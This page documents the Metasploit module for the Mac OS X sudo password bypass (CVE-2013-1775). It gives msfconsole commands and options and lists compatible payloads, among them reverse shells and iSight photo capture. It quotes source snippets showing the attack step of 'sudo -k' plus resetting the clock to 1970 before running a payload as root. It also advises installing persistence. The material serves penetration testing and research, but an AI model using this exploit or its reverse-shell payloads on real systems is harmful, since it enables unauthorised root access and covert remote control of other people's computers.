Mac OS X Sudo Password Bypass - Metasploit


This page contains detailed information about how to use the exploit/osx/local/sudo_password_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Mac OS X Sudo Password Bypass
Module: exploit/osx/local/sudo_password_bypass
Source code: modules/exploits/osx/local/sudo_password_bypass.rb
Disclosure date: 2013-02-28
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86, x64, cmd
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-1775

This module gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, and possibly lower versions. If your session belongs to a user with Administrative Privileges (the user is in the sudoers file and is in the "admin group"), and the user has ever run the "sudo" command, it is possible to become the super user by running sudo -k and then resetting the system clock to 01-01-1970. This module will fail silently if the user is not an admin, if the user has never run the sudo command, or if the admin has locked the Date/Time preferences. Note: If the user has locked the Date/Time preferences, requests to overwrite the system clock will be ignored, and the module will silently fail. However, if the "Require an administrator password to access locked preferences" setting is not enabled, the Date/Time preferences are often unlocked every time the admin logs in, so you can install persistence and wait for a chance later.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/osx/local/sudo_password_bypass
msf exploit(sudo_password_bypass) > show targets
    ... a list of targets ...
msf exploit(sudo_password_bypass) > set TARGET target-id
msf exploit(sudo_password_bypass) > show options
    ... show and set options ...
msf exploit(sudo_password_bypass) > set SESSION session-id
msf exploit(sudo_password_bypass) > exploit

Required Options

  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage

Here is how the osx/local/sudo_password_bypass exploit module looks in the msfconsole:

msf6 > use exploit/osx/local/sudo_password_bypass

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/local/sudo_password_bypass) > show info

       Name: Mac OS X Sudo Password Bypass
     Module: exploit/osx/local/sudo_password_bypass
   Platform: OSX
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-28

Provided by:
  Todd C. Miller
  joev <[email protected]>
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Mac OS X x86 (Native Payload)
  1   Mac OS X x64 (Native Payload)
  2   CMD

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module gains a session with root permissions on versions of OS 
  X with sudo binary vulnerable to CVE-2013-1775. Tested working on 
  Mac OS 10.7-10.8.4, and possibly lower versions. If your session 
  belongs to a user with Administrative Privileges (the user is in the 
  sudoers file and is in the "admin group"), and the user has ever run 
  the "sudo" command, it is possible to become the super user by 
  running `sudo -k` and then resetting the system clock to 01-01-1970. 
  This module will fail silently if the user is not an admin, if the 
  user has never run the sudo command, or if the admin has locked the 
  Date/Time preferences. Note: If the user has locked the Date/Time 
  preferences, requests to overwrite the system clock will be ignored, 
  and the module will silently fail. However, if the "Require an 
  administrator password to access locked preferences" setting is not 
  enabled, the Date/Time preferences are often unlocked every time the 
  admin logs in, so you can install persistence and wait for a chance 
  later.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-1775
  OSVDB (90677)
  http://www.securityfocus.com/bid/58203
  http://www.sudo.ws/sudo/alerts/epoch_ticket.html

Module Options

This is a complete list of options available in the osx/local/sudo_password_bypass exploit:

msf6 exploit(osx/local/sudo_password_bypass) > show options

Module options (exploit/osx/local/sudo_password_bypass):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Mac OS X x86 (Native Payload)

Advanced Options

Here is a complete list of advanced options supported by the osx/local/sudo_password_bypass exploit:

msf6 exploit(osx/local/sudo_password_bypass) > show advanced

Module advanced options (exploit/osx/local/sudo_password_bypass):

   Name                    Current Setting          Required  Description
   ----                    ---------------          --------  -----------
   ContextInformationFile                           no        The information file that contains context information
   DisablePayloadHandler   false                    no        Disable the handler code for the selected payload
   EXE::Custom                                      no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                    no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                    no        Use the default template in case the specified one is missing
   EXE::Inject             false                    no        Set to preserve the original EXE function
   EXE::OldMethod          false                    no        Set to use the substitution EXE generation method.
   EXE::Path                                        no        The directory in which to look for the executable template
   EXE::Template                                    no        The executable template file name.
   EnableContextEncoding   false                    no        Use transient context when encoding payloads
   FileDropperDelay                                 no        Delay in seconds before attempting cleanup
   MSI::Custom                                      no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                    no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                        no        The directory in which to look for the msi template
   MSI::Template                                    no        The msi template file name
   MSI::UAC                false                    no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   TMP_FILE                /tmp/.<random>/<random>  yes       For the native targets, specifies the path that the executable will be dropped on the client machine.
   VERBOSE                 false                    no        Enable detailed status messages
   WORKSPACE                                        no        Specify the workspace for this module
   WfsDelay                2                        no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the osx/local/sudo_password_bypass module can exploit:

msf6 exploit(osx/local/sudo_password_bypass) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X x86 (Native Payload)
   1   Mac OS X x64 (Native Payload)
   2   CMD

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/sudo_password_bypass exploit:

msf6 exploit(osx/local/sudo_password_bypass) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ----                                      ---------------  ----    -----  -----------
   0   payload/generic/custom                                     normal  No     Custom Payload
   1   payload/generic/debug_trap                                 normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                             normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                          normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                 normal  No     Generic x86 Tight Loop
   5   payload/osx/x86/bundleinject/bind_tcp                      normal  No     Mac OS X Inject Mach-O Bundle, Bind TCP Stager
   6   payload/osx/x86/bundleinject/reverse_tcp                   normal  No     Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
   7   payload/osx/x86/exec                                       normal  No     OS X Execute Command
   8   payload/osx/x86/isight/bind_tcp                            normal  No     Mac OS X x86 iSight Photo Capture, Bind TCP Stager
   9   payload/osx/x86/isight/reverse_tcp                         normal  No     Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
   10  payload/osx/x86/shell_bind_tcp                             normal  No     OS X Command Shell, Bind TCP Inline
   11  payload/osx/x86/shell_reverse_tcp                          normal  No     OS X Command Shell, Reverse TCP Inline
   12  payload/osx/x86/vforkshell/bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Stager
   13  payload/osx/x86/vforkshell/reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Stager
   14  payload/osx/x86/vforkshell_bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Inline
   15  payload/osx/x86/vforkshell_reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the osx/local/sudo_password_bypass exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/local/sudo_password_bypass) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

sudo version <SUDO_VN> not vulnerable.

Here is a relevant code snippet related to the "sudo version <SUDO_VN> not vulnerable." error message:

102:	      sudo_vn = $1
103:	      sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
104:	      # check vn between 1.6.0 through 1.7.10p6
105:	      # and 1.8.0 through 1.8.6p6
106:	      if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
107:	        vprint_error "sudo version #{sudo_vn} not vulnerable."
108:	        return CheckCode::Safe
109:	      end
110:	    else
111:	      vprint_error "sudo not detected on the system."
112:	      return CheckCode::Safe

sudo not detected on the system.

Here is a relevant code snippet related to the "sudo not detected on the system." error message:

106:	      if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
107:	        vprint_error "sudo version #{sudo_vn} not vulnerable."
108:	        return CheckCode::Safe
109:	      end
110:	    else
111:	      vprint_error "sudo not detected on the system."
112:	      return CheckCode::Safe
113:	    end
114:	
115:	    # check that the user is in OSX's admin group, necessary to change sys clock
116:	    unless is_admin?

sudo version is vulnerable, but user is not in the admin group (necessary to change the date).

Here is a relevant code snippet related to the "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." error message:

112:	      return CheckCode::Safe
113:	    end
114:	
115:	    # check that the user is in OSX's admin group, necessary to change sys clock
116:	    unless is_admin?
117:	      vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
118:	      return CheckCode::Safe
119:	    end
120:	
121:	    # one root for you sir
122:	    CheckCode::Vulnerable

Session already has root privileges

Here is a relevant code snippet related to the "Session already has root privileges" error message:

122:	    CheckCode::Vulnerable
123:	  end
124:	
125:	  def exploit
126:	    if is_root?
127:	      fail_with Failure::BadConfig, 'Session already has root privileges'
128:	    end
129:	
130:	    unless is_admin?
131:	      fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
132:	    end

User is not in the 'admin' group, bailing.

Here is a relevant code snippet related to the "User is not in the 'admin' group, bailing." error message:

126:	    if is_root?
127:	      fail_with Failure::BadConfig, 'Session already has root privileges'
128:	    end
129:	
130:	    unless is_admin?
131:	      fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
132:	    end
133:	
134:	    if check != CheckCode::Vulnerable
135:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
136:	    end

Target is not vulnerable

Here is a relevant code snippet related to the "Target is not vulnerable" error message:

130:	    unless is_admin?
131:	      fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
132:	    end
133:	
134:	    if check != CheckCode::Vulnerable
135:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
136:	    end
137:	
138:	    # "remember" the current system time/date/network/zone
139:	    print_good("User is an admin, continuing...")
140:

Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.

Here is a relevant code snippet related to the "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login." error message:

178:	      "sudo -k; \n"+
179:	      "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
180:	      " -setdate 01:01:1970 -settime 00:00"
181:	    )
182:	    if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")
183:	      fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")
184:	    else
185:	      @clock_changed = true
186:	    end
187:	
188:	    # drop the payload (unless CMD)

User has never run sudo, and is therefore not vulnerable. Bailing.

Here is a relevant code snippet related to the "User has never run sudo, and is therefore not vulnerable. Bailing." error message:

200:	
201:	    print_status("Testing that user has sudoed before...")
202:	    output = cmd_exec('echo "" | ' + sudo_cmd_test)
203:	
204:	    if output =~ /incorrect password attempts\s*$/i
205:	      fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
206:	    elsif output =~ /#{test}/
207:	      print_good("Test executed succesfully. Running payload.")
208:	    else
209:	      print_error("Unknown fail while testing, trying to execute the payload anyway...")
210:	    end

Unknown fail while testing, trying to execute the payload anyway...

Here is a relevant code snippet related to the "Unknown fail while testing, trying to execute the payload anyway..." error message:

204:	    if output =~ /incorrect password attempts\s*$/i
205:	      fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
206:	    elsif output =~ /#{test}/
207:	      print_good("Test executed succesfully. Running payload.")
208:	    else
209:	      print_error("Unknown fail while testing, trying to execute the payload anyway...")
210:	    end
211:	
212:	    # Run Payload
213:	    sudo_cmd_raw = if using_native_target?
214:	      ['sudo', '-S', [drop_path].shelljoin].join(' ')

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Todd C. Miller
  • joev
  • juan vazquez

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.